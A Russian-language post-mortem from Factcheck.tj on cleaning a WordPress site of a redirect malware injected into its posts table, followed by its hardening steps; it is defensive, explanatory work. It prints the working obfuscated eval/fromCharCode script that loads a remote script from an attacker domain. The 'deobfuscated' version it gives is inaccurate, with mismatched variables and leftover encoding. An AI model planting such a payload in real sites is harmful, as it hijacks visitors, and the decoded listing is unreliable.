Анализ | Как мы очистили сайт от вируса, который перенаправлял пользователей на другие сайты

Проблема

Некоторое время наш сайт Factcheck.tj был заражен вирусом, который перенаправлял пользователей на сторонние сайты. В итоге пользователи не могли читать наши материалы, а мы теряли их доверие. Однако сейчас уже проблема решена и сайт Factcheck.tj работает в штатном режиме. Ниже описываем, как мы нашли причину такого поведения сайта и исправили свои ошибки.

Поиск причины

Чтобы решить проблему, мы решили проанализировать, что могло стать причиной. В итоге обнаружили, что вирус, который перенаправляет читателей с одного сайта на другие, весьма распространен среди сайтов, созданных на базе CMS WordPress. Это давно известная проблема, которую пытается решить сообщество разработчиков. Однако ни одно решение, которое предлагалось на различных форумах и специализированных сайтах нам не помогло – ни полная замена файлов CMS, ни анализ плагинов, ни удаление сторонних файлов, которые создавал вирус, ни установка плагинов безопасности.

Поэтому мы решили пойти дальше. Было видно, что несмотря на выполнение всех указанных действий, проблема оставалась – на какой бы материал не пытались зайти читатели, через пару секунд их перебрасывали на вредоносный сайт. Причем, как показал анализ, всегда запускался некий файл «finish.php», который отправлял пользователей на страницу https://for.firstblackphase.com/tbbb2, откуда потом через цепочку других сайтов их перекидывали на другие сайты, требующие подписаться на их рассылки и обновления.

Причина проблемы

Стало понятно, что эта ссылка «вшита» в каждый материал, а срабатывает перенаправление на нее буквально через 1-2 секунды после посещения материалов сайта. Причем, часто код срабатывал один раз, а потом пользователи могли спокойно заходить на материалы без перенаправления на вредоносные страницы – браузер запоминал, что этот человек уже перенаправлялся. Для тех, кто занимается веб-разработкой, с учетом всех указанных выше характеристик, стало очевидно, что, скорее всего, тут использовались технологии куки и язык JavaScript. Дополнительная проверка гипотезы показала, что этот вывод правильный – при отклюнии функции исполнения JS-программ в браузере перенаправления не происходило. Следовательно, проблему нужно искать не в файлах сайта, а в базе данных. В частности, в таблице «wp-posts», где хранятся тексты и другие данные материалов сайта.

Мы начали анализировать уже базу данных и довольно быстро обнаружили вот такой код, который присутствовал в каждой статье и контенте статичных страниц сайта:

<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,102,111,114,46,102,105,114,115,116,98,108,97,99,107,112,104,97,115,101,46,99,111,109,47,116,114,98,98,98,98,98,50,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*674867468*/</script>

Это закодированная программа на языке JavaScript, о чем свидетельствуют его обертывание в теги «script» и ключевые слова, характерные JavaScript – «var», «String» и «eval». Само то, что он написан в таком непонятном для человека виде, подсказывало, что делает оно что-то скрытое и администраторы сайта, даже обнаружив его, не должны понять по его коду, что он делает. Это так называемый обфусцированный код на языке JavaScript, использовав возможности уже нашумевшей нейронки ChatGPT, мы деобфусцировали его и увидели, как должна выглядеть программа в более читабельном виде и что она должна делать:

var f = String;
eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,{
    return Boolean(document.querySelecter('script[src="'+ src +'"]'));
}));

var url = "https://for.firstblackphase.com/tbbbbb2";

if (ass(lo) === false) {
    var d = document;
    var s = d.createElement('script');
    s.src = lo;
    if (d.currentScript) {
        d.currentScript.parentNode.insertBefore(s, d.currentScript.nextSibling);
    } else {
        d.head.appendChild(s);
    }
}

Анализ уже деобфусцированного кода показывает, что сначала он проверяет, существует ли уже тег скрипта с исходным атрибутом, равным URL-адресу переменной. Если его нет, он создает новый тег script с URL-адресом в качестве источника и добавляет его в заголовок документа. Далее происходит то, с чем сталкивались пользователи нашего сайта – их перенаправляли на другие сайты.

Решение проблемы

Решение проблемы – найти и удалить в указанной таблице первый код, чтобы ни в одной записи его не было. Вредоносный код, по всей видимости, был внедрен в базу данных сайта через метод SQL-инъекции. «Окном» могла послужить незащищенная форма обратной связи или слабая защита на наших серверах.

Чтобы предотвратить повторения проблемы, мы решили:

• очистить все записи в базе данных от вредоносного кода через встроенную функцию «Найти и заменить» в phpMyAdmin;
• поменять все логины и пароли – администраторов, авторов, пользователей базы данных;
• поменять тип хостинга с выделенного сервера на облачный;
• удалить все лишние плагины, которые мы устанавливали для каких-то отдельных задач, но сейчас можем обойтись и без них;
• установить плагины безопасности, которые скрывают стандартные ссылки для входа в админку сайта;
• включить возможность настройки двухфакторной аутентификации для администраторов сайта;
• полностью обновить файлы CMS;
• при наличии обновлений установить их для всех тем и плагинов сайта.

Это были основные шаги, которые мы предприняли, чтобы очистить сайт от вируса и защитить его от будущих атак. Наш предыдущий поиск причин проблемы и её решения не выдал ни один ресурс с описанием именно такой причины. Поэтому делимся с вами описанием проблемы и найденным решением. Надеемся, что, столкнувшись с проблемой заражения сайта на CMS WordPress вирусом, перенаправляющим ваших пользователей на сторонние сайты, это решение приблизит вас к решение вашей проблемы.